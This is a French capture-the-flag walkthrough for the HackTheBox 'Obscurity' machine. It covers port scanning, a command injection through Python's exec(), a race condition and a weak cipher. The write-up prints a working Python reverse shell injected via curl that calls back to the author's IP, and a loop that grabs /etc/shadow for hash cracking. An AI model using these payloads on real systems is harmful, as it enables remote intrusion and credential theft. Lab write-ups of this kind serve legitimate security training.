Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .Dans cet article, nous exploitons une vulnérabilité dans le code python et effectuons également une attaque Race Condition.La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)Information organisationnelle, ,
Telegram . , ,
.
. , - , .
Recon
Cette machine a une adresse IP 10.10.10.168, que j'ajoute à / etc / hosts.10.10.10.168 obscurity.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.nmap -A obscurity.htb -p22,8080
L'hôte exécute le service SSH et le serveur Web. Nous allons regarder le web.
Ainsi, nous avons:- Serveur d'enregistrement
- Cryptage utilisé
- Le code du serveur dans le fichier SuperSecureServer.py dans un répertoire inconnu.
Puisque nous connaissons le nom du fichier, parcourons le répertoire. Faisons-le avec wfuzz. En paramètre, nous transmettons le dictionnaire, l'URL et le code de réponse à ignorer.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
Et nous trouvons ce répertoire. Téléchargeons le code du serveur.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Point d'accès
Nous ouvrons et analysons le serveur. Nous trouvons une utilisation potentiellement dangereuse de la fonction exec ().
Ajoutons quelques lignes au code.
Nous pouvons donc démarrer le serveur localement et voir ce qui entre dans la fonction exec (). Commençons le serveur et envoyons une demande.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
Ainsi, nous avons l'injection de commande OS.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Nous utiliserons le shell python inverse suivant.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Comme le code du serveur contient déjà l'importation des modules nécessaires, nous supprimons leur importation du shell. Nous évitons également les guillemets et les crochets.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Bien! Tout fonctionne sur la machine locale. Exécutons cette requête sur le serveur.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Nous avons un point d'entrée.UTILISATEUR
Nous regardons autour du serveur et trouvons des fichiers lisibles dans le répertoire personnel de l'utilisateur.
Nous lisons des fichiers.
Ainsi, les fichiers sont cryptés. Téléchargez tout ce que l'on nous donne à l'hôte local. Comme indiqué dans le message, le fichier check.txt est chiffré et le résultat est out.txt. Voyons l'algorithme.
Ainsi, lors du cryptage, l'addition du symbole texte et du symbole clé modulo 255 se produit Lors du décryptage, ces symboles sont soustraits.Autrement dit, ([check.txt] + [clé])% 255 = out.txt et ([out.txt] - [clé])% 255 = check.txt. Ensuite ([out.txt] - [check.txt])% 255 = clé.
Et regardez la clé.
Et maintenant, sur cette clé, nous déchiffrons le mot de passe de l'utilisateur.
Nous nous connectons via SSH avec ce mot de passe et prenons le drapeau d'utilisateur.
RACINE
Examinons les paramètres de sudo, à savoir si l'utilisateur robert peut exécuter des commandes sous sudo sans mot de passe.
Voyons le code. Le code nécessitera des données d'authentification. Il copie ensuite le contenu du fichier / etc / shadow dans le répertoire / tmp / SSH / *. Ensuite, il vérifiera les données d'authentification et supprimera le fichier.
Ainsi, nous devons réussir à copier le fichier depuis / tmp / SSH / * avant qu'il ne soit supprimé. Exécutez le deuxième terminal et exécutez-y un cycle de lecture sans fin.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Maintenant, exécutez le programme, entrez toutes les données et voyez les hachages.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Et ils se cassent facilement.
Nous prenons le drapeau de la racine.
Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.